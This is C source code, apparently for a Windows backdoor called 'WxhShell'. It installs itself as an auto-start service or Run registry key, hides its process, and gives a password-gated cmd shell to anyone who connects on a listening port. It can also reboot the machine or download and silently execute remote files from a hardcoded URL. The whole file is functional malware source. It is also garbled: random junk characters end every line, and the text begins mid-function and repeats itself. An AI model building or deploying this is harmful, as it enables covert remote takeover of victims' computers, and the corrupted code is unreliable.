    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hekAics6S  
    if(Boot(SHUTDOWN)) H>a3\M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VTy!<I  
    else { 3Ud&B  
    closesocket(wsh); 'R99kL/.N  
    ExitThread(0); uXyNj2(d.  
    } G{$9e}#  
    break; t&eY+3y,T  
    } 4f'WF5S/}8  
  // 获取shell  \^w=T*  
  case 's': { +7^{T:^ht  
    CmdShell(wsh); .0r5=  
    closesocket(wsh); +|r) ;>b  
    ExitThread(0); p;U[cGHC  
    break; ycIT=AFYqd  
  } _|x%M}O},  
  // 退出 %t`a-m  
  case 'x': { hQ#'_%:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k-Le)8+b  
    CloseIt(wsh); ) yRC$7I  
    break; &X9#{:l=  
    } V :*GG+4  
  // 离开 ?20y6c<  
  case 'q': { _T<ney}Y<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >5i1M^g(  
    closesocket(wsh); m%'9zL c  
    WSACleanup(); &7XB $  
    exit(1); rM/*_0[`d  
    break; KSMe#Qnw  
        } m{I_E G  
  } 6^s]2mMfk  
  } Z#3wMK~  
fZ 17  
  // 提示信息 Zj[Bm\ 8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?,;|*A  
} rb qH9 S  
  } 8~Rja  
=3^YKI  
  return; 3-FS} {,  
}  Xb&r|pR  
qd%5[A  
// shell模块句柄 P)tXU  
int CmdShell(SOCKET sock) U"<Z^)  
{ \Llrs-0 M  
STARTUPINFO si; hJrxb<9@Y0  
ZeroMemory(&si,sizeof(si)); -~p@o1k0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (TDLT^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N V^ktln  
PROCESS_INFORMATION ProcessInfo; (IAl$IP63s  
char cmdline[]="cmd"; k'xnl"q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pIqPIuy  
  return 0; 1e _V@Vy  
} +d2+w1o^V  
iS hB ^  
// 自身启动模式 0/#XUX 4  
int StartFromService(void) "mSDL:$  
{ O_FT@bo\  
typedef struct +[zrU`!@  
{  #Z"N\49  
  DWORD ExitStatus; @R9  
  DWORD PebBaseAddress; 0v,DQJ?w8  
  DWORD AffinityMask; `Btdp:j8i  
  DWORD BasePriority; ^>72<1U%  
  ULONG UniqueProcessId; m32OE`s  
  ULONG InheritedFromUniqueProcessId; .1t$(]CyC  
}   PROCESS_BASIC_INFORMATION; KQNSYI7a  
$xvEYK  
PROCNTQSIP NtQueryInformationProcess; EJNj.c-#  
n,9 *!1y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z>7Oez>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OV;Ho  
GLv}|>W  
  HANDLE             hProcess; tV[?WA[xt  
  PROCESS_BASIC_INFORMATION pbi; tkR^dC  
qF%wl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &bRmr/D  
  if(NULL == hInst ) return 0; ^8 AV#a  
'i%Azzv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 13}=;4O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~g;(` g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ePrb G4xv  
+O*S>0  
  if (!NtQueryInformationProcess) return 0; Y~,[9:SR  
t8U)za  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TEE$1RxV(  
  if(!hProcess) return 0; E"x 2jP  
;TEZD70r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YEXJ h!X  
9 /t}S6b{  
  CloseHandle(hProcess); c_kxjzA#  
Yn'XSV|g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1;?b-FEq:  
if(hProcess==NULL) return 0; dWg$yH  
2j=3i@  
HMODULE hMod; O8[dPm W  
char procName[255]; Oa$ ew'  
unsigned long cbNeeded; V<\:iNXX{  
b0rC\^x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A:cc @ku  
z }R-J/xr2  
  CloseHandle(hProcess); IgptiZ7~!  
cJ&l86/l1  
if(strstr(procName,"services")) return 1; // 以服务启动 *[.+|v;A  
e1[kgp   
  return 0; // 注册表启动 +S<2d.&~  
} H-1@z$p  
UDt.w82  
// 主模块 rw ^^12)  
int StartWxhshell(LPSTR lpCmdLine) :uu\q7@'  
{ 1k-^LdDj  
  SOCKET wsl; nm*1JA.:  
BOOL val=TRUE; {S~2m2up0L  
  int port=0; [77]0V7  
  struct sockaddr_in door; =uKK{\+|Y  
RRV@nDf   
  if(wscfg.ws_autoins) Install(); rfXM*h  
HqcXP2  
port=atoi(lpCmdLine); bpzB}nEp  
$O%lYQY]  
if(port<=0) port=wscfg.ws_port; B5=L</Aj  
Kcsje_I-M  
  WSADATA data; q.K >v'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YV. *8'*  
!}l)okQH<#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ",#rI+ el  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wZE[we^Q"  
  door.sin_family = AF_INET; RLw=y{%p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D<5gdIw  
  door.sin_port = htons(port); d,8V-Dk+p  
`axNeqM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MR#jI  
closesocket(wsl); D7sw;{ns  
return 1; '=\]4?S  
} #U"\v7C{n  
Hu1w/PLq  
  if(listen(wsl,2) == INVALID_SOCKET) { qAivsYN*  
closesocket(wsl); .NQoqXR  
return 1; J4!Z,-  
} &EE6<-B-  
  Wxhshell(wsl); Z !wDh_  
  WSACleanup(); ##}a0\x|  
d0MX4bhZ  
return 0; j 9y,UT  
$daI++v`  
} KD-0NO=oL  
AJC Wp4,  
// 以NT服务方式启动 g#Zb}^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BL]!j#''KE  
{ yoGE#+|7^  
DWORD   status = 0; vQc>jmS+n  
  DWORD   specificError = 0xfffffff; V=3NIw18  
kYPowM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YRW<n9=3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jM2gu~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dWI/X  
  serviceStatus.dwWin32ExitCode     = 0; 4w2V["?X1  
  serviceStatus.dwServiceSpecificExitCode = 0; f>#\'+l'  
  serviceStatus.dwCheckPoint       = 0; A5ktbj&gy<  
  serviceStatus.dwWaitHint       = 0; gA" =so  
UrN$nhH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &XrF#s  
  if (hServiceStatusHandle==0) return; s]U'*?P  
hCQ{D|/  
status = GetLastError(); q'C'S#qqn  
  if (status!=NO_ERROR) Fe"0Hp+  
{ |+suGqo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  by>,h4  
    serviceStatus.dwCheckPoint       = 0; cMC1|3  
    serviceStatus.dwWaitHint       = 0; i T 4H@  
    serviceStatus.dwWin32ExitCode     = status; ndF Kw  
    serviceStatus.dwServiceSpecificExitCode = specificError; IBES$[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?#J~ X\5  
    return; 'ZL)-kbI  
  } 9I]*T  
OFQsfW3O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NawnC!~ $  
  serviceStatus.dwCheckPoint       = 0; ^R>&^"oI  
  serviceStatus.dwWaitHint       = 0; e] **Z,Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c6BaC@2  
} rf1-E57#  
i]8zZRe  
// 处理NT服务事件,比如:启动、停止 yK{;72  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p1J%=  
{ J[VQ6fD%  
switch(fdwControl) |\~cjPX(  
{ P/M*XUG.  
case SERVICE_CONTROL_STOP: Bi?.G7>  
  serviceStatus.dwWin32ExitCode = 0; _4[kg)#+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~Z.lvdA_5  
  serviceStatus.dwCheckPoint   = 0; .6e5w1r63  
  serviceStatus.dwWaitHint     = 0; vlEd=H,LT  
  { n?kU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ${6 ;]ye  
  } { F. Ihw  
  return; }I05&/o.3p  
case SERVICE_CONTROL_PAUSE: pOnZ7(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >jN)9}3>-#  
  break; Vwm\a]s  
case SERVICE_CONTROL_CONTINUE: )Je iTh^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M ;\K+,  
  break; *Z)`:Gae  
case SERVICE_CONTROL_INTERROGATE: ME0ivr*=:  
  break; 7F)HAbIS  
}; h %MPppCEa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?>4^e:  
} L|!9%X0.  
ZiVTc/b  
// 标准应用程序主函数 NBUM* Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t)$>++i  
{ {{@3r5K Gl  
cN&b$ 8O=%  
// 获取操作系统版本 y$4,r4cmR|  
OsIsNt=GetOsVer(); ]C5JP~ #z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O23f\pm&  
Xps MgJ/w  
  // 从命令行安装 Ji%T|KR_  
  if(strpbrk(lpCmdLine,"iI")) Install(); &qrH  
~q-|cl<  
  // 下载执行文件 W9a H]9b  
if(wscfg.ws_downexe) { &W".fRH_O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TO3Yz3+A  
  WinExec(wscfg.ws_filenam,SW_HIDE); cJi5\<b  
} //V?rs  
(nvSB}?  
if(!OsIsNt) { G^)|c<'M  
// 如果时win9x,隐藏进程并且设置为注册表启动  <&$!;d8  
HideProc(); ^XZm tB  
StartWxhshell(lpCmdLine); Q8z>0ci3o  
} B1*%pjy  
else "xnek8F  
  if(StartFromService()) a&PoUwG  
  // 以服务方式启动 (Ozb+W?  
  StartServiceCtrlDispatcher(DispatchTable); TtkB  
else E$smr\  
  // 普通方式启动 O yj!N`&z@  
  StartWxhshell(lpCmdLine); 2\EMtR>.M'  
[S3X  
return 0; Fv#ToT:QXe  
} {%UY1n  
s&8QRI.  
?z Ms;  
`9b D%M  
=========================================== S\g8(\u  
) 1H]a'j  
X#+A?>Z]}<  
u) fbR  
 BX+-KvT  
i aP+Vab  
" Z1^S;#v  
?A,gDk/#  
#include <stdio.h> 8.]dThaq  
#include <string.h> nCXIWLw  
#include <windows.h> o?/N4$&5l  
#include <winsock2.h> 9Z7o?S";  
#include <winsvc.h> )h>Cp,|{  
#include <urlmon.h> [x-Z)Q. 5  
-$[=AqJXp;  
#pragma comment (lib, "Ws2_32.lib") C.pNDpx-  
#pragma comment (lib, "urlmon.lib") "6Ly?'H K  
\*d@_oQ$  
#define MAX_USER   100 // 最大客户端连接数 $\m=-5 0-  
#define BUF_SOCK   200 // sock buffer y~p7&^FeR  
#define KEY_BUFF   255 // 输入 buffer F}i rCi47c  
!Y`nKC(=z  
#define REBOOT     0   // 重启 Z*s/%4On  
#define SHUTDOWN   1   // 关机 _3hCu/BV  
kTs)u\r.  
#define DEF_PORT   5000 // 监听端口 iK=H9j  
.:_dS=ut  
#define REG_LEN     16   // 注册表键长度 F;`of  
#define SVC_LEN     80   // NT服务名长度 F N(&3Ull  
 ,ulTZV  
// 从dll定义API Xo{Ce%L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q'q'v S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %Ljc#AVg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CF =#?+x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *!l q1h  
r`28fC  
// wxhshell配置信息 _xUiHX<  
struct WSCFG { >N+e c_D^  
  int ws_port;         // 监听端口 Y5PIR9-  
  char ws_passstr[REG_LEN]; // 口令 zS|%+er~zO  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]<W1edr  
  char ws_regname[REG_LEN]; // 注册表键名 %o+bO}/9  
  char ws_svcname[REG_LEN]; // 服务名 _Ndy;MQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w#XE!8`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 49Ht I9@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q.M3rRh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K& 2p<\2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tlqDY1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 od?Q&'A  
AvP*p{we  
}; 6t/})Xv  
E(]yjZ/  
// default Wxhshell configuration IO]Oo3  
struct WSCFG wscfg={DEF_PORT, ~g>15b3  
    "xuhuanlingzhe", *~2jP;$  
    1, iT9cw`A^%  
    "Wxhshell", -^\k+4;  
    "Wxhshell", zXUE<\  
            "WxhShell Service", *b7 HtUA  
    "Wrsky Windows CmdShell Service", #BlH)Cv  
    "Please Input Your Password: ", @YWfq$23  
  1, >G/>:wwSP.  
  "http://www.wrsky.com/wxhshell.exe", MH{vFA4:,  
  "Wxhshell.exe" mj5A*%"W  
    }; D1#E&4   
I%{^i d@  
// 消息定义模块 YfF&: "-NU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [J-r*t"!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gjyg`%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]WyV~Dzz<  
char *msg_ws_ext="\n\rExit."; b^hCm`2w*  
char *msg_ws_end="\n\rQuit."; .F)--%  
char *msg_ws_boot="\n\rReboot..."; ?vf\_R'M  
char *msg_ws_poff="\n\rShutdown..."; as~.XWa  
char *msg_ws_down="\n\rSave to "; 8*6J\FE<p  
$`_(%tl  
char *msg_ws_err="\n\rErr!"; PX2Ejrwj  
char *msg_ws_ok="\n\rOK!"; 7b@EvW6X}  
!i}G>*XH,  
char ExeFile[MAX_PATH]; t6-c{ZX>A  
int nUser = 0; |W*f 6F3  
HANDLE handles[MAX_USER]; !!Mp;h'}-  
int OsIsNt; #8nF8J< 4  
9OT2yC T  
SERVICE_STATUS       serviceStatus; glk I9~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Zb);08X  
i&.F}bEi  
// 函数声明 j cx/ZR  
int Install(void); >`,v?<>+  
int Uninstall(void); t#Yyo$9  
int DownloadFile(char *sURL, SOCKET wsh); iVXR=A\er  
int Boot(int flag); WMh'<'w N_  
void HideProc(void); -b)p6>G-C  
int GetOsVer(void); >+,1@R  
int Wxhshell(SOCKET wsl); R&PQ[Xc  
void TalkWithClient(void *cs); ufEt"P-X.  
int CmdShell(SOCKET sock); ']+H P9i$  
int StartFromService(void); ,u~\$ Az6  
int StartWxhshell(LPSTR lpCmdLine); 1T}|c;fc  
+".&A#wU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mn0QVkb}lc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YhR?*Di  
7^|3T TK  
// 数据结构和表定义 NSb< 7_L  
SERVICE_TABLE_ENTRY DispatchTable[] = s#* mn  
{ BIV]4vl-&  
{wscfg.ws_svcname, NTServiceMain}, r=&PUT+vt  
{NULL, NULL} 0b*a2_|8k  
}; jGt'S{  
n!HFHy2  
// 自我安装 vc^PXjX  
int Install(void) ~Ycz(h'(  
{ e$F7wto  
  char svExeFile[MAX_PATH]; 1{";u"q  
  HKEY key; m{+lG*  
  strcpy(svExeFile,ExeFile); ax7 M  
Z.<1,EKi=  
// 如果是win9x系统,修改注册表设为自启动 ( 7Y :3  
if(!OsIsNt) { TvI}yaCu/x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )](8 {}wo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c%uhQ 62  
  RegCloseKey(key); r=@h}TKv{I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bIWcL$}4Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Dm^49H  
  RegCloseKey(key); ~xvQ?c ?-  
  return 0; _}JygOew  
    } rR C3^X`u  
  } X]y3~|K  
} rM>&! ?y+  
else { @X\nY</E#M  
g`J? 2 _]  
// 如果是NT以上系统,安装为系统服务 "OK(<x]3;>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JZP2NB_xt  
if (schSCManager!=0) YT&_{nL#\  
{ Iun!r v  
  SC_HANDLE schService = CreateService kN>d5q9b%X  
  ( 7Jc=`Zm'  
  schSCManager, zWjGGTP~3&  
  wscfg.ws_svcname, 3_Oq4/  
  wscfg.ws_svcdisp, n]8_]0{qi  
  SERVICE_ALL_ACCESS, +;; fw |/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EidIi"sr  
  SERVICE_AUTO_START, DlIfr6F  
  SERVICE_ERROR_NORMAL, Pu axS  
  svExeFile, #3/l4`/j  
  NULL, gVq{g,yi  
  NULL, UI;!_C_  
  NULL, <w2Nh eM 3  
  NULL, |<BTK_R  
  NULL U*a!Gn7l  
  ); Ud{-H_m+  
  if (schService!=0) luC',QJB  
  { 8,kbGlSD  
  CloseServiceHandle(schService); #+_Oy Z*  
  CloseServiceHandle(schSCManager); OQ[>s(`*{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (<%i8xu 2  
  strcat(svExeFile,wscfg.ws_svcname); SAo"+%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { % )|/s %W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [;I.aT}R!;  
  RegCloseKey(key); ~r=TVHjqi  
  return 0; 8q tNK> D  
    } "Ny_RF  
  } a`|/*{  
  CloseServiceHandle(schSCManager); OpH9sBnA  
} W%1fm/ G0  
} 8E0Rg/DnT  
jj$'DZk  
return 1; x$s#';*  
} _=}Y lR  
H56e#:[$  
// 自我卸载 )n0g6  
int Uninstall(void) %8 4<@f&n]  
{ '`3-X];p  
  HKEY key; Ogjjjy84vM  
S2fw"1h*x  
if(!OsIsNt) { )Ba^Igb}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /!%P7F  
  RegDeleteValue(key,wscfg.ws_regname); MGmtA(  
  RegCloseKey(key); c~C :"g.y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vDBnWA  
  RegDeleteValue(key,wscfg.ws_regname); ~*2PmD"+:  
  RegCloseKey(key); }.T$bj1B;V  
  return 0; ,;D74h2F  
  } T-5T`awf  
} >StvP=our  
} 1eb1Lvn  
else { Fg,[=CqB[  
5<#H=A~(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?W(wtp,o  
if (schSCManager!=0) !J:DBtGT  
{ OEAF.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]j{S' cz  
  if (schService!=0) ::M/s#-@  
  { Bj]0Cz  
  if(DeleteService(schService)!=0) { ~ Q]B}qdm  
  CloseServiceHandle(schService); gE$dz#t.  
  CloseServiceHandle(schSCManager); XhIgzaGVu  
  return 0; ^ePSI|EW  
  } WVo%'DtF`  
  CloseServiceHandle(schService); ZE=~ re  
  } j+c)%  
  CloseServiceHandle(schSCManager); PN.=])7T  
} "3hw]`a}  
} %@r h\Z  
@Sv  ?Ar  
return 1; `__CL )N|  
} ?Z14l0iZ%d  
ucA6s:!={  
// 从指定url下载文件 U}qW9X;o  
int DownloadFile(char *sURL, SOCKET wsh) iSsy_ |  
{ 3cfkJ|fuwe  
  HRESULT hr; O%+:fJz6wI  
char seps[]= "/"; m&$H ?yXW>  
char *token; +h9CcBd  
char *file; Ak9W8Z}  
char myURL[MAX_PATH]; 4ErDGYg}  
char myFILE[MAX_PATH]; }e@j(*8  
M(2[X/t  
strcpy(myURL,sURL); h+Z|s  
  token=strtok(myURL,seps); -6H)GK14b  
  while(token!=NULL) JdV!m`XpXy  
  { z2 dM*NMK  
    file=token; >2v_fw  
  token=strtok(NULL,seps); p 3_Q  
  } n" MFC  
}'Z(J)Bg  
GetCurrentDirectory(MAX_PATH,myFILE); UPgZj\t%{  
strcat(myFILE, "\\"); E|5gKp-wJ  
strcat(myFILE, file); ]#*@<T*[  
  send(wsh,myFILE,strlen(myFILE),0); ~ R*6w($  
send(wsh,"...",3,0); TY88PXW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \Xkx`C  
  if(hr==S_OK) i3Ffk+ |b  
return 0; l"cO@.T3  
else \dfq& oyU\  
return 1; =a {Z7W  
}`h}h<B(  
} gB0)ec 0  
:#gz)r  
// 系统电源模块 OOv"h\,  
int Boot(int flag) \]r{73C  
{ |MBnRR  
  HANDLE hToken; (Hn,}(3S  
  TOKEN_PRIVILEGES tkp; h{h=',o1  
60p1.;' /a  
  if(OsIsNt) { v h%\ " h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z4(2&t^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nrf%/L  
    tkp.PrivilegeCount = 1; =LT({8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F*NIs:3;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Dgkt-:S/T|  
if(flag==REBOOT) { P,v}Au( UI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Np=*B_ @8  
  return 0; U5"F1CaW~  
} wIY#TBu  
else { oF*Y$OEu?c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;=n7 Z  
  return 0; 9:kb0oBa?l  
} 8F@6^9C  
  } Tok"-$`N  
  else { !?+3 jzG  
if(flag==REBOOT) { Lc.7:r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~ h:^Q  
  return 0; ^< E,aCy  
} :]//{HF  
else { dIf Jr}ih  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t /47lYN)  
  return 0; ioviJ7N% O  
} A2vOI8  
} d>aZpJ[.  
r@!~l1$s`  
return 1; a v`eA`)S  
} F_-yT[i  
=-q)I[4#  
// win9x进程隐藏模块 @TH \hr]  
void HideProc(void) M)LdGN?$  
{ BHK_=2WYz  
W5x]bl#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UGN. ]#"#  
  if ( hKernel != NULL ) jAJkCCG  
  { OE[/sv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zO+nEsf^O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z os~1N]3  
    FreeLibrary(hKernel); )WFUAzuN,  
  } )0%<ZVB  
V3m!dp]  
return; `#(4K4]1.  
} o?X\,}-s  
gr S,PKH  
// 获取操作系统版本 :4Y|%7[  
int GetOsVer(void) SMhT>dB  
{ nBD7  
  OSVERSIONINFO winfo; 2?"9NQvz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G?"1 z;  
  GetVersionEx(&winfo); x7*}4>|W,I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \fKv+  
  return 1; SKS[Lf  
  else $6J5yE  
  return 0; '2 )d9_ w  
} c^=:]^  
>?DrC/  
// 客户端句柄模块 NKMB,b  
int Wxhshell(SOCKET wsl) wHY;Y-(ZT  
{ 9S<W~# zz  
  SOCKET wsh; D!-zQ`^  
  struct sockaddr_in client;  <Nw?9P  
  DWORD myID; W35nnBU  
Zkz:h7GUG-  
  while(nUser<MAX_USER) @&~BGh  
{ svQDSif  
  int nSize=sizeof(client); *&U9npN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <W5F~K ;41  
  if(wsh==INVALID_SOCKET) return 1; ]xS< \{og  
b&e? 6h^G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xA-G&oC]<T  
if(handles[nUser]==0) {:rU5 !n  
  closesocket(wsh); ())|x[>JS+  
else oZ=e/\[K  
  nUser++; G>!"XK:fB  
  } Lr+2L_/v`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7f(UbO@BD  
QvqBT  
  return 0; ~+d]yeDrhx  
} N@)g3mX>  
cvC;QRx  
// 关闭 socket Npu;f>g0_  
void CloseIt(SOCKET wsh) &zm5s*yNt  
{ ? &1?uc  
closesocket(wsh); [OT@gp:  
nUser--; H(g&+Wcu=  
ExitThread(0); g3 qtWS  
} YGNX+6Lz  
zxj!ihs<  
// 客户端请求句柄 &,#VhT![  
void TalkWithClient(void *cs) P "%/  
{ 5i#B?+Y  
c8yD-U/-  
  SOCKET wsh=(SOCKET)cs; P EbB0GL  
  char pwd[SVC_LEN]; ?,Hk]Rl3  
  char cmd[KEY_BUFF]; 8!T^KMfz  
char chr[1]; kg-%:;y.  
int i,j; |M0TG  
c#rbyx?5  
  while (nUser < MAX_USER) { 7IvCMb&%R  
6qw_|A&g  
if(wscfg.ws_passstr) { [Y:HVr,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vCi:c Ip/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d }]b  
  //ZeroMemory(pwd,KEY_BUFF); 5}By2Tx  
      i=0; \t1vYIY]T  
  while(i<SVC_LEN) { Ig6s'^  
pGOS'.K%t8  
  // 设置超时 %+'&$  
  fd_set FdRead; (_W[~df4  
  struct timeval TimeOut; B(>_.x#kv  
  FD_ZERO(&FdRead); ~L1N1Z)Kk  
  FD_SET(wsh,&FdRead); n_w,Ew,>5  
  TimeOut.tv_sec=8; g_}@/5?y  
  TimeOut.tv_usec=0; G3e%~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X!"y>J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :q= XE$%H  
,= PDL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mc\lzq8\ 1  
  pwd=chr[0]; &hF>}O  
  if(chr[0]==0xd || chr[0]==0xa) { 6Qo6 T][  
  pwd=0; iff U}ce  
  break; E O}(MXS  
  } p3Gj=G  
  i++; L,:U _\HQ  
    } *yJb4uALB  
gVuN a)  
  // 如果是非法用户,关闭 socket $4?%Z>'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k20H|@g2  
} 8G@FX $$Q  
H;Bj\-Pa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bM!`C|,[s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |l ~ADEg  
!O.B,  
while(1) { Q/+a{m0 f  
w"Z >F]YZ  
  ZeroMemory(cmd,KEY_BUFF); Uligr_c?  
_}\&;  
      // 自动支持客户端 telnet标准   ;Joo!CXHO  
  j=0; U%#=d@?  
  while(j<KEY_BUFF) { (z.Vwl5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G9gvOEI/  
  cmd[j]=chr[0]; \2LCpN  
  if(chr[0]==0xa || chr[0]==0xd) { H11Wb(6Wu  
  cmd[j]=0; i?R qv<n  
  break; (g;Ff`P Pc  
  } w(@`g/b  
  j++; 00Rk%QV  
    } tF'67,~W  
xNONf4I:6J  
  // 下载文件 4C2 D wj  
  if(strstr(cmd,"http://")) { X(1.Hjh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?^7~|?v  
  if(DownloadFile(cmd,wsh)) D~ {)\;w^!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %:/;R_  
  else !l&lb]V cz  
